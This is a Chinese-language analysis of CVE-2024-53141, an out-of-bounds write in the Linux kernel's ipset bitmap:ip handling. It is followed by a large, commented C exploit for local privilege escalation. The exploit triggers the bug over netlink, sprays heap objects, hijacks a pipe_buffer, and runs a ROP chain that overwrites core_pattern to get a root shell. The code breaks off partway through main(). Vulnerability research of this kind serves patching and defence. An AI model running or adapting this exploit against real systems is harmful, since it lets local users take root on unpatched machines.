CVE-2024-53141 Linux 内核 netfilter子系统中 ipset 组件越界访问漏洞分析与利用

CVE-2024-53141是Linux内核netfilter子系统中ipset组件的一个高危越界访问(OOB)漏洞,CVSS评分为7.8分。该漏洞源于bitmap_ip_uadt函数在处理IPSET_ATTR_CIDR参数时缺少关键的范围检查,攻击者可借此实现本地提权、内核崩溃及造成RCE

1.引言

IP sets 是 netfilter/iptables 中的一个扩展,该工具用于管理这些集合。bitmap:ip 类型通过位图实现高效匹配,适合大规模 IP 地址管理

  • “bitmap:ip” 类型使用一段内存范围,每个位代表一个 IPv4 地址,最多可覆盖一个 B 类网络(65535 个地址)。
  • 该功能在源码文件 net/netfilter/ipset/ip_set_bitmap_ip.c 中实现,可通过 netlink 与之交互。

2.漏洞概述

2.1 问题描述

bitmap_ip_uadt 函数中,正常逻辑会先检查单个 IP 是否落在 [map->first_ip, map->last_ip] 范围内( [1]),但当请求中存在 IPSET_ATTR_CIDR 而不存在 IPSET_ATTR_IP_TO 时,代码通过 ip_set_mask_from_to 计算出一段起始/结束 IP( [3]),却未再对起始 IP 做范围检查,仅在后续对 ip_to 做边界检查( [4]),导致从此处可越界写入。

2.2 触发条件

  1. 创建一个 bitmap:ip 集合,指定 first_iplast_ip

  2. 发起 IPSET_CMD_ADD 请求,仅给出 IPSET_ATTR_IPIPSET_ATTR_CIDR(例如 /3),无 IPSET_ATTR_IP_TO

  3. ip = 0xffffffffcidr = 3,那么经过 ip_set_mask_from_to 后:

    • 计算出 ip = 0xe0000000224.0.0.0
    • ip_to = 0xffffffff255.255.255.255
  4. ip 越界至低于 map->first_ip,但化整后未检查,进入循环写入,触发 OOB 写入。

2.3代码分析

完整代码会在文章最后提供,此处仅做分析

static int
bitmap_ip_uadt(struct ip_set *set, struct nlattr *tb[],
           enum ipset_adt adt, u32 *lineno, u32 flags, bool retried)
{
    // ... 省略部分代码 ...
    if (ip < map->first_ip || ip > map->last_ip) // [1] 检查初始 IP 是否在范围内
        return -IPSET_ERR_BITMAP_RANGE;
        ...
    if (tb[IPSET_ATTR_IP_TO]) { // 如果提供了 IP_TO 参数
        ret = ip_set_get_hostipaddr4(tb[IPSET_ATTR_IP_TO], &ip_to);
        if (ret)
            return ret;
        if (ip > ip_to) {
            swap(ip, ip_to); // 交换 ip 和 ip_to,确保 ip <= ip_to
            if (ip < map->first_ip) // [2] 再次检查交换后的 ip 是否小于范围起始
                return -IPSET_ERR_BITMAP_RANGE;
        }
    } else if (tb[IPSET_ATTR_CIDR]) { // 如果没有 IP_TO 但提供了 CIDR 参数
        u8 cidr = nla_get_u8(tb[IPSET_ATTR_CIDR]);
                ...
        ip_set_mask_from_to(ip, ip_to, cidr); // [3] 根据 CIDR 计算新的 ip 和 ip_to
    } else { // 如果既没有 IP_TO 也没有 CIDR
        ip_to = ip; // 范围只有一个 IP
    }

    if (ip_to > map->last_ip) // [4] 检查 ip_to 是否超出范围末尾,此处出现问题:仅检查 ip_to
        return -IPSET_ERR_BITMAP_RANGE;

    for (; !before(ip_to, ip); ip += map->hosts) { // [5] 越界写入循环
        e.id = ip_to_id(map, ip); // 计算 IP 对应的 ID (索引)
        ret = adtfn(set, &e, &ext, &ext, flags); // 调用 bitmap_ip_add,基于 e.id 写入 ext
        // ... 省略部分代码 ...

原因分析:

  • 核心问题: 在处理带有 IPSET_ATTR_CIDR 参数的添加/删除/测试操作时,代码首先使用用户提供的 IPSET_ATTR_IP 值 进行初始范围检查。如果这个初始 ip 在 map->first_ip 和 map->last_ip 之间,检查通过。
  • 触发路径: 当用户 不 提供 IPSET_ATTR_IP_TO 但 提供 IPSET_ATTR_CIDR 时,代码会进入 else if 分支。函数 ip_set_mask_from_to 会根据初始 ip 和 cidr 重新计算 ip(范围的起始)和 ip_to(范围的结束)。
  • 缺陷: 关键在于,重新计算后的 ip 值 可能 小于 map->first_ip。然而,代码 没有 在 ip_set_mask_from_to 调用之后 再次 检查这个新的 ip 是否小于 map->first_ip(检查点 在 if (tb[IPSET_ATTR_IP_TO]) 分支内,这里不会执行)。
  • 后果: 检查 只验证了 ip_to。因此,代码会进入循环,此时的 ip 可能小于 map->first_ip。在循环内部,ip_to_id(map, ip) 函数会使用这个可能越界的 ip 来计算索引 e.id。
  • 越界索引: ip_to_id 的计算方式 ((ip & ip_set_hostmask(m->netmask)) - m->first_ip) / m->hosts 在 ip 远小于 m->first_ip 时,会产生一个非常大或非常小的(取决于具体值和整数溢出行为)索引值 e.id。
  • OOB 访问: 这个越界的 e.id 随后被用在 adtfn(例如 bitmap_ip_add)函数中,通过 get_ext(set, map, e.id) 访问 map->extensions 数组,导致越界读或写。

3.利用方式

3.1 OOB 写入导致堆泄露

  • mtype_add(即 bitmap_ip_add)中,根据 e.id 定位扩展数据 get_ext = map->extensions + dsize*id
  • id 越界,可在相邻的 kmalloc-cg-192或 SOCKBUF 缓冲区写入数据;
  • 通过 ip_set_init_comment 在注释块中写入,泄露相邻堆块地址;

3.2 任意值 OOB 写入

  • 在启用 SET_WITH_COUNTER 的集合中,mtype_add 调用 ip_set_init_counter(ext_counter, ext)
  • ext->bytesext->packets 被设置时,可将任意 64 位值写到越界位置,篡改堆上控制结构。

3.3 UAF

  • 利用 msg_msgseg 对象(kmalloc-cg-2048)与 bitmap_ip 同 slab 缓存,
  • 通过 OOB 写入控制 msg_msgseg.next,在 free_msg 中触发对任意地址的释放;
  • 选择 pipe_buffer 作为 UAF 目标,结合预判地址(基于 kmalloc-192 泄露的高 28 位),构造可控重用。

3.4 KASLR 绕过及 ROP 链

  1. 堆泄露:通过对 sk_buff 的注释泄露,获取真实堆地址,推算内核基址;
  2. 控制 pipe_buffer->ops:释放后重用,覆盖管道缓冲区操作函数表,
  3. ROP 链:利用两个 Gadget(push rsi; jmp [rsi+0x39]pop rsp; pop r15; ret)实现栈切换,执行构造的 ROP,
  4. core_pattern 技术:ROP 覆盖 /proc/sys/kernel/core_pattern,指向用户控制的二进制,触发进程崩溃后执行,获取 root shell

4.EXP分析与复现

#define _GNU_SOURCE
#include <stdio.h>
#include <sched.h>
#include <err.h>  
#include <string.h>
#include <stdlib.h>
#include <time.h>
#include <stddef.h>
#include <fcntl.h> 
#include <sys/wait.h> 
#include <sys/stat.h>
#include <sys/xattr.h>
#include <netinet/ip.h>
#include <sys/mman.h> 
#include <sys/socket.h> 
#include <sys/types.h>
#include <sys/ipc.h> 
#include <sys/msg.h> 
#include <sys/syscall.h> 
#include <pthread.h>
#include <libmnl/libmnl.h> // libmnl 用于 Netlink 消息处理
#include <sys/auxv.h>
#include <sys/sendfile.h> // sendfile()
#include <libnftnl/table.h> // libnftnl 相关 
#include <libnftnl/flowtable.h>
#include <libnftnl/chain.h>
#include <libnftnl/rule.h>
#include <libnftnl/expr.h>
#include <libnftnl/object.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/if_link.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <sys/resource.h>
#include <linux/if.h>
#include <linux/keyctl.h>
#include <byteswap.h>
#include <linux/netfilter/ipset/ip_set.h> // ipset 相关 Netlink 结构和常量
#include <linux/netfilter/ipset/ip_set_bitmap.h>
#include <err.h>

// 定义常量
#define NFNL_SUBSYS_ID_SHIFT 8
#define NFNL_SUBSYS_IPSET 6 // ipset 子系统 ID
#define PAGE_SIZE 0x1000
#define MSG_MSG_SIZE 0x30 // sizeof(struct msg_msg)
#define KMALLOC_CG_2K 0x800 // 目标 slab 大小 2048
#define MSG_MSGSEG_SIZE 0x8 

// 检查系统调用返回值的宏
#define SYSCHK(x) ({              \
    typeof(x) __res = (x);        \
    if (__res == (typeof(x))-1)   \
        err(1, "SYSCHK(" #x ")"); \
    __res;                        \
})

#define NPIPE 0x100 // 创建的管道数量,用于回收内存为 pipe_buffer
#define NMSG 0x1000 // 喷射的消息数量,用于分配 msg_msgseg
#define PAUSE           \
    {                   \
        int x;          \
        printf(":");    \
        read(0, &x, 1); \
    } // 调试用的暂停宏

// 全局变量
int skbuff_heap_leak[0x100][2]; // 用于堆地址泄漏的 socket pair 数组 (kmalloc-cg-512)
int skbuff_kaslr_leak[0x400][2]; // 用于 KASLR 泄漏和 RIP 控制的 socket pair 数组 (kmalloc-cg-1024)
int pipe_fd[0x100][2]; // 管道文件描述符数组
int msqid[0x4000]; // System V 消息队列 ID 数组
struct // 用于 msgsnd/msgrcv 的消息缓冲区
{
    long mtype; // 消息类型
    char mtext[0x2000]; // 消息内容,大小足够触发 msg_msgseg 分配
} msg;

struct msg_msg // 消息头结构
{
    uint64_t m_list_next;
    uint64_t m_list_prev;
    uint64_t m_type;
    uint64_t m_ts;
    uint64_t next; // 指向第一个 msg_msgseg
    uint64_t security;
};

struct pipe_buffer // 管道缓冲区结构
{
    uint64_t page;
    uint32_t offset;
    uint32_t len;
    uint64_t ops; // 函数指针表地址 (泄露和覆盖的目标)
    uint32_t flags;
    uint32_t pad;
    uint64_t private;
};

// 全局变量 - 漏洞利用关键数据
size_t KERNEL_BASE = 0; // 内核基地址,需要泄漏得到
#define START_ROP 0x50 // ROP 链在缓冲区中的起始偏移
#define STATIC_KBASE 0xffffffff81000000 // 用于计算 gadget 偏移的参考基地址
// ROP Gadgets (地址 = KERNEL_BASE + 偏移)
#define POP_RDI (KERNEL_BASE + (0x0145e109))  // pop rdi ; ret
#define POP_RSI (KERNEL_BASE + (0x0145b835))  // pop rsi ; ret
#define POP_RSI2 (KERNEL_BASE + (0x00ffbe53)) // pop rsi ; mov eax, xxx ; ret (适用于 copy_from_user)
#define POP_RDX (KERNEL_BASE + (0x0145dc80))  // pop rdx ; ret
#define POP_RSP (KERNEL_BASE + (0x0145cc66))  // pop rsp ; ret
#define PIVOT (KERNEL_BASE + (0x00b32a2b))    // push rsi ; jmp qword ptr [rsi + 0x39] (栈迁移 Gadget 1)
#define PIVOT2 (KERNEL_BASE + (0x0015ccee))   // pop rsp ; pop r15 ; ret (栈迁移 Gadget 2)
#define PIVOT3 (KERNEL_BASE + (0x00b32a2b))   // push rsi; jmp qword ptr [rsi+0x39]; (同 PIVOT)
// 内核符号地址 (地址 = KERNEL_BASE + 偏移)
#define CORE_PATTERN (KERNEL_BASE + (0xffffffff83db6520 - STATIC_KBASE)) // core_pattern 变量地址
#define COPY_FROM_USER (KERNEL_BASE + (0xffffffff81983470 - STATIC_KBASE)) // copy_from_user 函数地址
#define MSLEEP (KERNEL_BASE + (0xffffffff812784c0 - STATIC_KBASE)) // msleep 函数地址
#define ANON_PIPE_BUF_OPS_OFF (0xffffffff82c4b100 - STATIC_KBASE) // anon_pipe_buf_ops 符号偏移

char user_buf[] = "|/proc/%P/fd/666 %P"; // 要写入 core_pattern 的内容
char buf[0x1000]; // 通用缓冲区,用于读写 socket/pipe,也用于构建 ROP payload
char name[0x100]; // 用于生成 ipset 名称

size_t pipe_buf_addr = 0; // 泄漏的/猜测的 pipe_buffer 地址

// ROP 链构建宏
#define ROP(idx) ((size_t *)rop)[(idx) + (START_ROP / 8)]

// 构建包含 ROP 链的伪造 pipe_buffer
// rop_addr: 伪造 pipe_buffer 在内核中的地址 (即 pipe_buf_addr)
// rop: 指向用户空间缓冲区的指针,用于构建 payload
int build_fake_pipe_buffer_with_rop_chain(size_t rop_addr, char *rop)
{
    // 清零缓冲区,防止残留数据干扰
    memset(rop, 0, 0x1000);

    // 设置 pipe_buffer.ops 指向 rop_addr + 0x20
    *(size_t *)&rop[0x10] = rop_addr + 0x20; // pipe_buffer->ops = &fake_ops

    // 在 rop_addr + 0x20 处构建伪造的 pipe_buf_operations 结构
    // fake_ops->release = PIVOT3
    *(size_t *)&rop[0x28] = PIVOT3;

    // 设置 PIVOT3 跳转的目标地址 (位于 rop_addr + 0x39)
    // [rop_addr + 0x39] = PIVOT2
    *(size_t *)&rop[0x39] = PIVOT2;

    // ---- ROP 链 ---- (存储在 rop[START_ROP] 开始的位置)
    int i = 0;
    // copy_from_user(CORE_PATTERN, user_buf, sizeof(user_buf);
    ROP(i++) = POP_RDI; // pop rdi; ret
    ROP(i++) = CORE_PATTERN; // rdi = &core_pattern
    ROP(i++) = POP_RSI2; // pop rsi; ... ; ret
    ROP(i++) = (size_t)&user_buf; // rsi = &user_buf (用户空间地址)
    ROP(i++) = POP_RDX; // pop rdx; ret
    ROP(i++) = sizeof(user_buf); // rdx = sizeof(user_buf)
    ROP(i++) = COPY_FROM_USER; // call copy_from_user

    // msleep(0x10000);
    ROP(i++) = POP_RDI; // pop rdi; ret
    ROP(i++) = 0x10000; // rdi = 0x10000
    ROP(i++) = MSLEEP; // call msleep

    // 注意:ROP 链末尾不需要显式返回或退出,msleep 后内核会调度
    return 0; // 返回表示成功
}

// 将当前进程绑定到指定 CPU 核心
void set_cpu(int c)
{
    cpu_set_t mask;
    CPU_ZERO(&mask);
    CPU_SET(c, &mask);
    sched_setaffinity(0, sizeof(mask), &mask);
}

// 底层 Netlink 消息发送函数
int __netlink_send(int fd, const void *nlh, size_t size)
{
    struct iovec iov = {
        .iov_base = (void *)nlh,
        .iov_len = size,
    };
    struct msghdr msg = {
        .msg_name = NULL,
        .msg_namelen = 0,
        .msg_iov = &iov,
        .msg_iovlen = 1,
        .msg_control = NULL,
        .msg_controllen = 0,
        .msg_flags = 0,
    };

    if (sendmsg(fd, &msg, 0) < 0)
    {
        perror("sendmsg()");
        return -1;
    }

    return 0;
}
// Netlink 发送函数 (包装了 __netlink_send)
static inline int netlink_send(int fd, const struct nlmsghdr *nlh)
{
    return __netlink_send(fd, nlh, nlh->nlmsg_len);
}

// 打开 Netlink 套接字
int netlink_open(int proto)
{
    struct sockaddr_nl addr = {0};
    addr.nl_family = AF_NETLINK;

    int s = socket(AF_NETLINK, SOCK_RAW, proto); // 创建 Netlink socket
    if (s < 0)
    {
        perror("socket()");
        return s;
    }
    if (bind(s, (struct sockaddr *)&addr, sizeof(addr)) == -1) // 绑定地址
    {
        perror("bind()");
        return -1;
    }

    return s;
}

// 辅助函数:设置通用的 IP Set Netlink 消息结构
// buf: 存储消息的缓冲区
// cmd_type: Netlink 命令类型 (e.g., IPSET_CMD_CREATE | (NFNL_SUBSYS_IPSET << NFNL_SUBSYS_ID_SHIFT))
// flags: Netlink 消息标志 (e.g., NLM_F_REQUEST | NLM_F_ACK)
// set_name: IP Set 名称
// type_name: IP Set 类型名称 (e.g., "bitmap:ip", 仅 CREATE 需要)
// family: 地址族 (e.g., AF_INET)
// extra_header_size: 额外的头部大小 (通常是 nfgenmsg 大小)
struct nlmsghdr *setup_ip_set_message(char *buf, int cmd_type, uint16_t flags,
                                      const char *set_name, const char *type_name,
                                      uint8_t family, int extra_header_size)
{
    struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); // 放置 Netlink 头部
    nlh->nlmsg_type = cmd_type;
    nlh->nlmsg_flags = flags;

    mnl_nlmsg_put_extra_header(nlh, extra_header_size); // 放置子系统头部 (nfgenmsg)

    // 添加通用属性
    mnl_attr_put_u8(nlh, IPSET_ATTR_PROTOCOL, IPSET_PROTOCOL); // 协议版本
    mnl_attr_put_strz(nlh, IPSET_ATTR_SETNAME, set_name); // Set 名称
    if (type_name)
    { // 仅 CREATE 命令需要类型名称
        mnl_attr_put_strz(nlh, IPSET_ATTR_TYPENAME, type_name);
    }
    mnl_attr_put_u8(nlh, IPSET_ATTR_FAMILY, family); 
    mnl_attr_put_u8(nlh, IPSET_ATTR_REVISION, 0); // Revision (通常为 0)

    return nlh;
}

// 函数:创建 IP set,目标是分配在 kmalloc-cg-512 缓存中
// sock_fd: Netlink socket fd
// set_name: Set 名称
// type_name: Set 类型 ("bitmap:ip")
// family: 地址族 (AF_INET)
// extra: 标志,如果为 true,则添加 IPSET_FLAG_WITH_COMMENT
int create_ip_set_kmalloc_512(int sock_fd, const char *set_name, const char *type_name,
                              uint8_t family, int extra)
{
    char buf[1024]; // 消息缓冲区
    // 设置 Netlink 消息头和通用属性 (命令: CREATE)
    struct nlmsghdr *nlh = setup_ip_set_message(buf, IPSET_CMD_CREATE | (NFNL_SUBSYS_IPSET << NFNL_SUBSYS_ID_SHIFT),
                                                NLM_F_REQUEST | NLM_F_ACK,
                                                set_name, type_name, family, 4); // 4 = sizeof(struct nfgenmsg)

    // 开始嵌套 IPSET_ATTR_DATA 属性 (包含类型特定数据)
    struct nlattr *attr_data = mnl_attr_nest_start(nlh, IPSET_ATTR_DATA);

    // --- 配置 bitmap:ip 特定参数 ---
    // 设置 IP 范围的起始地址 (first_ip)
    struct nlattr *attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP);
    // 选择 first_ip = -0x35 (0xffffffcb)
    // elements = last_ip - first_ip + 1 = -1 - (-0x35) + 1 = 0x35
    mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, htonl(-0x35));
    mnl_attr_nest_end(nlh, attr_ip);

    // 设置 IP 范围的结束地址 (last_ip)
    attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP_TO);
    // last_ip = -1 (0xffffffff)
    mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, htonl(-1));
    mnl_attr_nest_end(nlh, attr_ip);

    if (extra) // 如果需要添加 Comment 支持
    {
        // map size = sizeof(struct bitmap_ip) + elements * set->dsize;
        // IPSET_FLAG_WITH_COMMENT 使 set->dsize == 0x8 (存储注释指针)
        // sizeof(struct bitmap_ip) 大约是 0x58
        // 分配大小 = 0x58 + 0x35 * 0x8 = 0x58 + 0x1a8 = 0x200
        // 0x200 字节正好落在 kmalloc-cg-512 slab 中
        mnl_attr_put_u32(nlh, IPSET_ATTR_CADT_FLAGS | NLA_F_NET_BYTEORDER,
                         htonl(IPSET_FLAG_WITH_COMMENT)); // 添加 Comment 标志
    }

    mnl_attr_nest_end(nlh, attr_data); // 结束 IPSET_ATTR_DATA
    return netlink_send(sock_fd, nlh); // 发送消息
}

// 函数:触发 OOB 写以泄漏内核堆地址
// sock_fd: Netlink socket fd
// set_name: 目标 Set 名称 (之前用 create_ip_set_kmalloc_512 创建的那个)
// family: 地址族 (AF_INET)
int trigger_oob_leak(int sock_fd, const char *set_name, uint8_t family)
{
    char buf[1024]; // 消息缓冲区
    char comment_string[0x100] = {}; // 注释内容缓冲区

    // 填充注释字符串,使其大小落在 kmalloc-192 (0x90 + header)
    memset(comment_string, 'A', 0x90);

    // 设置 Netlink 消息头和通用属性 (命令: ADD)
    struct nlmsghdr *nlh = setup_ip_set_message(buf, IPSET_CMD_ADD | (NFNL_SUBSYS_IPSET << NFNL_SUBSYS_ID_SHIFT),
                                                NLM_F_REQUEST | NLM_F_ACK | NLM_F_EXCL, // EXCL 确保不添加重复项
                                                set_name, NULL, family, 4);

    // 开始嵌套 IPSET_ATTR_DATA 属性
    struct nlattr *attr_data = mnl_attr_nest_start(nlh, IPSET_ATTR_DATA);

    // --- 设置触发漏洞的参数 ---
    // 设置 IPSET_ATTR_IP (初始 IP)
    struct nlattr *attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP);
    // 初始 IP = -1 (0xffffffff),这个值在 [first_ip, last_ip] ([-0x35, -1]) 范围内,可以通过检查 [1]
    mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, htonl(-1));
    mnl_attr_nest_end(nlh, attr_ip);

    // 设置 IPSET_ATTR_CIDR = 3
    // 这将导致 ip_set_mask_from_to 计算出新的 ip = 0xe0000000 (小于 first_ip = -0x35)
    // 和 ip_to = 0xffffffff
    mnl_attr_put_u8(nlh, IPSET_ATTR_CIDR, 3);
    // 添加注释属性,其内容将被 kmalloc 分配并写入 OOB 位置
    mnl_attr_put_strz(nlh, IPSET_ATTR_COMMENT, comment_string);

    mnl_attr_nest_end(nlh, attr_data); // 结束 IPSET_ATTR_DATA
    return netlink_send(sock_fd, nlh); // 发送消息,触发漏洞
}

// 函数:创建 IP set,目标是分配在 kmalloc-cg-2048 缓存中
// sock_fd: Netlink socket fd
// set_name: Set 名称
// type_name: Set 类型 ("bitmap:ip")
// family: 地址族 (AF_INET)
// extra: 标志,如果为 true,添加 IPSET_FLAG_WITH_COUNTERS
int create_ip_set_kmalloc_2048(int sock_fd, const char *set_name, const char *type_name,
                               uint8_t family, int extra)
{
    char buf[1024]; // 消息缓冲区
    // 设置 Netlink 消息头和通用属性 (命令: CREATE)
    struct nlmsghdr *nlh = setup_ip_set_message(buf, IPSET_CMD_CREATE | (NFNL_SUBSYS_IPSET << NFNL_SUBSYS_ID_SHIFT),
                                                NLM_F_REQUEST | NLM_F_ACK,
                                                set_name, type_name, family, 4);

    // 开始嵌套 IPSET_ATTR_DATA 属性
    struct nlattr *attr_data = mnl_attr_nest_start(nlh, IPSET_ATTR_DATA);

    // --- 配置 bitmap:ip 特定参数 ---
    // 设置 IP 范围的起始地址 (first_ip)
    struct nlattr *attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP);
    // 选择 first_ip = -0x40 (0xffffffc0)
    // elements = last_ip - first_ip + 1 = -1 - (-0x40) + 1 = 0x40
    mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, htonl(-0x40));
    mnl_attr_nest_end(nlh, attr_ip);

    // 设置 IP 范围的结束地址 (last_ip)
    attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP_TO);
    // last_ip = -1 (0xffffffff)
    mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, htonl(-1));
    mnl_attr_nest_end(nlh, attr_ip);

    if (extra) // 如果需要添加 Counter 支持
    {
        // 添加 Counter 标志
        mnl_attr_put_u32(nlh, IPSET_ATTR_CADT_FLAGS | NLA_F_NET_BYTEORDER,
                         htonl(IPSET_FLAG_WITH_COUNTERS));

        // map size = sizeof(struct bitmap_ip) + elements * set->dsize;
        // IPSET_FLAG_WITH_COUNTERS 使 set->dsize == 0x10 (存储 counter 结构)
        // sizeof(struct bitmap_ip) 大约是 0x58
        // 分配大小 = 0x58 + 0x40 * 0x10 = 0x58 + 0x400 = 0x458
        // 0x458 字节落在 kmalloc-1k (1024) 或 kmalloc-2k (2048) 中,取决于对齐和头大小
        // 作者选择 kmalloc-cg-2048,可能基于实际测试或内核版本特定行为
    }

    mnl_attr_nest_end(nlh, attr_data); // 结束 IPSET_ATTR_DATA
    return netlink_send(sock_fd, nlh); // 发送消息
}

// 函数:向集合中添加一个 IP 地址 (用于设置位,防止 OOB 循环失控)
// sock_fd: Netlink socket fd
// set_name: Set 名称
// family: 地址族 (AF_INET)
// ip: 要添加的 IP 地址 (网络字节序)
int add_ip_to_set(int sock_fd, const char *set_name, uint8_t family, uint32_t ip)
{
    char buf[1024]; // 消息缓冲区
    // 设置 Netlink 消息头和通用属性 (命令: ADD)
    struct nlmsghdr *nlh = setup_ip_set_message(buf, IPSET_CMD_ADD | (NFNL_SUBSYS_IPSET << NFNL_SUBSYS_ID_SHIFT),
                                                NLM_F_REQUEST | NLM_F_ACK | NLM_F_EXCL,
                                                set_name, NULL, family, 4);

    // 开始嵌套 IPSET_ATTR_DATA 属性
    struct nlattr *attr_data = mnl_attr_nest_start(nlh, IPSET_ATTR_DATA);

    // 设置 IPSET_ATTR_IP
    struct nlattr *attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP);
    mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, ip);
    mnl_attr_nest_end(nlh, attr_ip);

    // 这里也设置了 IP_TO,确保只添加单个 IP
    attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP_TO);
    mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, ip);
    mnl_attr_nest_end(nlh, attr_ip);

    mnl_attr_nest_end(nlh, attr_data); // 结束 IPSET_ATTR_DATA
    return netlink_send(sock_fd, nlh); // 发送消息
}

// 函数:触发 OOB 写以写入任意值 (使用 Counter)
// sock_fd: Netlink socket fd
// set_name: 目标 Set 名称 (之前用 create_ip_set_kmalloc_2048 创建的那个)
// family: 地址族 (AF_INET)
int trigger_oob_write(int sock_fd, const char *set_name, uint8_t family)
{
    char buf[1024]; // 消息缓冲区
    // 设置 Netlink 消息头和通用属性 (命令: ADD)
    struct nlmsghdr *nlh = setup_ip_set_message(buf, IPSET_CMD_ADD | (NFNL_SUBSYS_IPSET << NFNL_SUBSYS_ID_SHIFT),
                                                NLM_F_REQUEST | NLM_F_ACK | NLM_F_EXCL,
                                                set_name, NULL, family, 4);

    // 开始嵌套 IPSET_ATTR_DATA 属性
    struct nlattr *attr_data = mnl_attr_nest_start(nlh, IPSET_ATTR_DATA);

    // --- 设置触发漏洞的参数 ---
    // 设置 IPSET_ATTR_IP (初始 IP)
    struct nlattr *attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP);
    // 初始 IP = -1 (0xffffffff),在 [first_ip, last_ip] ([-0x40, -1]) 范围内
    mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, htonl(-1));
    mnl_attr_nest_end(nlh, attr_ip);

    // 设置 IPSET_ATTR_CIDR = 3
    // 导致新的 ip = 0xe0000000 (小于 first_ip = -0x40)
    mnl_attr_put_u8(nlh, IPSET_ATTR_CIDR, 3);

    // 设置要通过 OOB 写入的值 (目标是覆盖 msg_msgseg->next)
    // 使用 IPSET_ATTR_BYTES 和 IPSET_ATTR_PACKETS 传递 64 位值
    // 需要进行字节序转换 (bswap_64),因为内核期望的是网络字节序,但写入内存时需要主机字节序
    // 然而 atomic64_set 直接使用 long long,这里用 bswap_64 可能不完全正确,取决于目标架构和内核实现细节
    // 但通常为了跨架构兼容性,会进行转换
    mnl_attr_put_u64(nlh, IPSET_ATTR_BYTES | NLA_F_NET_BYTEORDER, bswap_64(pipe_buf_addr)); // 要写入的猜测的 pipe_buffer 地址
    mnl_attr_put_u64(nlh, IPSET_ATTR_PACKETS | NLA_F_NET_BYTEORDER, bswap_64(pipe_buf_addr)); // 写入相同的值到 packets 字段

    mnl_attr_nest_end(nlh, attr_data); // 结束 IPSET_ATTR_DATA
    return netlink_send(sock_fd, nlh); // 发送消息,触发 OOB 写
}

// 函数:检查 core_pattern 是否已被修改
int check_core()
{
    char buf[0x100] = {};
    int core = open("/proc/sys/kernel/core_pattern", O_RDONLY); // 打开 core_pattern 文件
    if (core < 0) return 0; // 打开失败则认为未修改
    read(core, buf, sizeof(buf) - 1); // 读取内容
    close(core);
    // 比较读取到的内容是否以我们设置的前缀开头
    return strncmp(buf, "|/proc/%P/fd/666", 0x10) == 0;
}

// 函数:用于触发程序崩溃 (在提权后执行)
// cmd: 未使用的参数
void crash(char *cmd)
{
    // 1. 创建内存文件描述符
    int memfd = memfd_create("", 0);
    SYSCHK(memfd);
    // 2. 将当前可执行文件内容复制到内存 fd
    SYSCHK(sendfile(memfd, open("/proc/self/exe", 0), 0, 0xffffffff));
    // 3. 将内存 fd 复制到 fd 666 (core_pattern 中使用的 fd)
    dup2(memfd, 666);
    close(memfd); // 关闭原始 memfd
    // 4. 循环等待,直到 core_pattern 被 ROP 链修改
    while (check_core() == 0)
        usleep(100); // 短暂休眠,避免 CPU 占用过高
    puts("Root shell !!");
    // 5. 触发崩溃 (写入 NULL 指针)
    *(size_t *)0 = 0;
}

// 主函数
int main(int argc, char **argv)
{
    setvbuf(stdout, 0, 2, 0); // 关闭 stdout 缓冲

    // --- Payload 执行逻辑 ---
    // 如果收到了参数 (由 core_pattern 启动时会传入 PID),则执行提权后的操作
    if (argc > 1)
    {
        // #define SYS_pidfd_getfd 438 (获取 pidfd 指向进程的 fd)
        // #define SYS_pidfd_open 434 (打开一个进程的 pidfd)
        int pid = strtoull(argv[1], 0, 10); // 获取崩溃进程的 PID
        int pfd = syscall(SYS_pidfd_open, pid, 0); // 打开该进程的 pidfd
        SYSCHK(pfd);
        // 获取原始进程 (exploit 主进程) 的标准输入/输出/错误 fd
        int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0);
        int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0);
        int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0);
        SYSCHK(stdinfd); SYSCHK(stdoutfd); SYSCHK(stderrfd);
        // 将当前进程 (root 权限) 的标准输入输出重定向到原始进程
        dup2(stdinfd, 0);
        dup2(stdoutfd, 1);
        dup2(stderrfd, 2);
        close(pfd); close(stdinfd); close(stdoutfd); close(stderrfd);
        // 执行命令获取 flag 并关机
        system("cat /flag;echo o>/proc/sysrq-trigger");
        exit(0); // 确保退出
    }

    // --- 崩溃触发器进程 ---
    // fork 一个子进程,该子进程将等待 core_pattern 被修改后触发崩溃
    if (fork() == 0)
    {
        set_cpu(0); // 绑定到 CPU 0
        setsid(); // 创建新会话,脱离控制终端
        crash(""); // 进入崩溃等待和触发逻辑
        exit(0); // 不应执行到这里
    }

    // --- Exploit 主进程 ---
    set_cpu(1); // 绑定到 CPU 1,减少与其他进程的干扰

    // 提高文件描述符限制,因为会打开大量 socket 和 pipe
    struct rlimit rlim = {
        .rlim_cur = 0x1000,
        .rlim_max = 0x1000};
    SYSCHK(setrlimit(RLIMIT_NOFILE, &rlim));

    // --- 准备 KASLR 泄漏阶段的堆喷射 ---
    // 创建大量 UNIX domain socket pairs
    for (int i = 0; i < 0x400; i++)
    {
        size_t val = 0x400000; // 设置大的缓冲区,可能影响 skb 分配
        SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, skbuff_kaslr_leak[i]));
